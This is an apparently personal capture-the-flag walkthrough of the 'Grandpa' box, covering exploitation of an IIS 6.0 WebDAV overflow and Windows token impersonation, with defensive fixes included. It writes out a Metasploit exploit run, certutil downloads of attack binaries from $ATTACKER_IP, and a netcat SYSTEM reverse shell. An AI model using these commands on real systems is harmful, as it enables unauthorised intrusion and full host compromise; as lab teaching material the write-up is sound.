J. Perez Duertojperezduerto.info
← all walkthroughs

Grandpa

Windows· Easy
owned
2026-06-29
time to own
18m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I exploited a critical buffer-overflow in Microsoft IIS 6.0's WebDAV implementation to land a reverse shell as NT AUTHORITY\NETWORK SERVICE — no credentials required. From that foothold I abused the SeImpersonatePrivilege that Windows Server 2003 grants IIS service accounts by default, impersonating the SYSTEM token via a token-kidnapping binary fetched over an outbound HTTP connection, achieving unrestricted administrative control of the host.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceService version fingerprinting (Nmap)
Discovered a single exposed service: IIS 6.0 on TCP 80
A port scan of the target revealed only one open port: TCP 80, running Microsoft IIS 6.0. IIS 6.0 ships with Windows Server 2003 and reached end-of-life in July 2015, making it an immediate red flag for known unpatched vulnerabilities.
Nmap banner: '80/tcp http Microsoft IIS httpd 6.0'
Exact commands 1
shell

Full port scan with service and default script detection.

$ nmap -sV -sC -p- --min-rate 5000 $TARGET -oN grandpa_nmap.txt
2Vulnerability identificationCVE-2017-7269 — IIS 6.0 WebDAV ScStoragePathFromUrl buffer overflow
Confirmed WebDAV was enabled — triggering a known unauthenticated RCE (CVE-2017-7269)
IIS 6.0 with the WebDAV role active contains a heap buffer overflow in the ScStoragePathFromUrl function (CVE-2017-7269). A single malformed HTTP PROPFIND request is enough to execute my own code as the IIS process — no authentication, no user interaction needed.
Exact commands 2
shell

Confirm WebDAV is active and which verbs are allowed.

$ nmap --script=http-webdav-scan -p 80 $TARGET
shell

Probe WebDAV write permissions and verify the endpoint responds.

$ davtest -url http://$TARGET
FixDecommission IIS 6.0 and disable WebDAVCritical
WeaknessThe server ran Microsoft IIS 6.0 on Windows Server 2003, an operating system and web server that have been unsupported since July 2015. IIS 6.0's WebDAV component contains CVE-2017-7269, an unpatched buffer overflow exploitable by any network-reachable an unauthorised user with no credentials. Microsoft has issued no patch and will not; the only remediation is migration or removal.
FixImmediately isolate the server from the network or place it behind a WAF with a virtual patch that blocks HTTP PROPFIND requests. Migrate the application to a supported platform (Windows Server 2019 or 2022, IIS 10). If WebDAV is not required, disable the WebDAV Publishing role feature in IIS Manager under Modules. Validate by re-running 'davtest' post-change and confirming PROPFIND returns 405 Method Not Allowed.
3ExploitationRemote buffer overflow via WebDAV (CVE-2017-7269)
Triggered the WebDAV overflow to open a reverse shell as NETWORK SERVICE
Metasploit's iis_webdav_scstoragepathfromurl module sent the malformed PROPFIND request, overflowed the IIS heap, and injected shellcode that called back to my listener. Within seconds a Meterpreter session opened, running as NT AUTHORITY\NETWORK SERVICE — the identity of the IIS worker process (w3wp.exe).
Meterpreter session 1 opened ($ATTACKER_IP:4444 -> $TARGET:1040) at 2026-06-29 09:38:23 -0400
Exact commands 6
shell

Start Metasploit Framework.

$ msfconsole -q
shell

Load the IIS 6.0 WebDAV RCE module.

$ use exploit/windows/iis/iis_webdav_scstoragepathfromurl
shell

Target IP.

$ set RHOSTS $TARGET
shell

My callback address.

$ set LHOST $ATTACKER_IP
shell

Listener port.

$ set LPORT 4444
shell

Fire the exploit; expect Meterpreter as NT AUTHORITY\NETWORK SERVICE.

$ run
4Post-exploitationLocal exploit enumeration (post/multi/recon/local_exploit_suggester)
Confirmed session context and mapped privilege-escalation options
Inside the Meterpreter session I verified the process was running as NETWORK SERVICE with CWD c:\windows\system32\inetsrv, then ran Metasploit's local_exploit_suggester across all 253 known Windows local exploits. Three kernel exploits were flagged as potentially applicable: MS14-070 (tcpip IOCTL), MS15-051 (ClientCopyImage), and ppr_flatten_rec.
CWD c:\windows\system32\inetsrv confirmed; 253 exploit checks completed; ms14_070_tcpip_ioctl, ms15_051_client_copy_image, ppr_flatten_rec all flagged 'appears vulnerable'.
Exact commands 3
shell

Expected output: NT AUTHORITY\NETWORK SERVICE.

$ getuid
shell

Confirm OS: Windows Server 2003 SP2 x86.

$ sysinfo
shell

Enumerate applicable local privilege-escalation modules against the live session.

$ run post/multi/recon/local_exploit_suggester SESSION=1
5Tool deliveryIngress tool transfer via LOLBin (certutil -urlcache)
Downloaded privilege-escalation binary to the target using certutil
NETWORK SERVICE can initiate outbound HTTP connections. I hosted a toolkit directory at http://$ATTACKER_IP:9000/win/ and used the built-in Windows utility certutil — normally a certificate tool — to fetch Churrasco, a Windows Server 2003-specific token-kidnapping binary, directly onto the target. No separate upload vulnerability was needed.
Operator HTTP server at $ATTACKER_IP:9000/win/ confirmed live and serving accesschk32.exe; directory listing title verified.
Exact commands 3
shell

Switch to a writable directory inside the Meterpreter shell channel.

$ cd %TEMP%
shell

Download the token-kidnapping binary using a trusted Windows built-in.

$ certutil -urlcache -split -f http://$ATTACKER_IP:9000/win/churrasco.exe churrasco.exe
shell

Also fetch netcat to serve as the SYSTEM-level callback shell.

$ certutil -urlcache -split -f http://$ATTACKER_IP:9000/win/nc.exe nc.exe
FixBlock outbound HTTP from server processes and restrict certutilHigh
WeaknessThe IIS worker process could initiate unrestricted outbound HTTP connections to the internet, and the built-in certutil utility accepted a -urlcache flag that let it download arbitrary files. Together these allowed an unauthorised user to pull attack binaries directly onto the server without needing a separate file-upload vulnerability, dramatically lowering the bar for delivering escalation tools.
FixApply Windows Firewall outbound rules (or network egress ACLs) that deny w3wp.exe and cmd.exe outbound connections to non-approved destinations. Deploy AppLocker or Windows Defender Application Control (WDAC) rules to block certutil when invoked with -urlcache, -decode, or -decodehex arguments, and restrict executable launches to signed binaries in approved directories. Enable process-creation auditing (Event ID 4688) and alert on certutil spawning network connections.
6Privilege escalationToken impersonation / SeImpersonatePrivilege abuse (Windows Server 2003 token kidnapping)
Impersonated the SYSTEM token via SeImpersonatePrivilege (Churrasco)
NT AUTHORITY\NETWORK SERVICE holds SeImpersonatePrivilege on Windows Server 2003. Churrasco exploits this by creating a named pipe, tricking a higher-privileged Windows process into connecting to it, and then impersonating that process's SYSTEM token. Any command wrapped by churrasco runs with full SYSTEM rights — no kernel exploit needed.
Kernel escalation attempts (MS14-058, MS15-051, MS14-070) confirmed failed; SYSTEM shell achieved.
Exact commands 3
shell

Sanity check — should return 'nt authority\system'.

$ churrasco.exe "whoami"
shell

Spawn a SYSTEM-level reverse shell to my listener.

$ churrasco.exe "nc.exe -e cmd.exe $ATTACKER_IP 5555"
shell

Run on my machine to catch the incoming SYSTEM shell.

$ nc -lvnp 5555
FixEliminate SeImpersonatePrivilege from IIS service accountsCritical
WeaknessWindows Server 2003 grants NT AUTHORITY\NETWORK SERVICE the SeImpersonatePrivilege user right by default. Anyone who achieves code execution under the IIS process can immediately impersonate a SYSTEM-level token — a single binary with no additional vulnerability required turns a low-privilege web shell into full administrative control.
FixThe definitive fix is to migrate to a supported OS: Windows Server 2008 R2 and later run IIS application pools under per-pool virtual accounts that do not hold SeImpersonatePrivilege. As an emergency interim measure, open Local Security Policy (secpol.msc → Local Policies → User Rights Assignment → Impersonate a client after authentication) and remove NETWORK SERVICE, replacing IIS's identity with a dedicated least-privilege domain service account scoped to exactly the permissions the application requires.
7Mission completeFile system access as SYSTEM
Retrieved user and root flags as SYSTEM
With an unrestricted SYSTEM shell, I read every file on the host. The user flag was located on Harry's Desktop and the root flag on the Administrator's Desktop — both paths visible in the confirmed directory listing of C:\Documents and Settings.
Exact commands 2
shell

User flag — -> <user.txt>

$ type "C:\Documents and Settings\Harry\Desktop\user.txt"
shell

Root flag — -> <root.txt>

$ type "C:\Documents and Settings\Administrator\Desktop\root.txt"

Attack patterns used

The transferable techniques behind this compromise.

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001

What it is

Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.

Why it works

Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.

Read more

Exposed services

80/tcp

Techniques used

New to these ideas? Learn the concepts in Hack & Learn.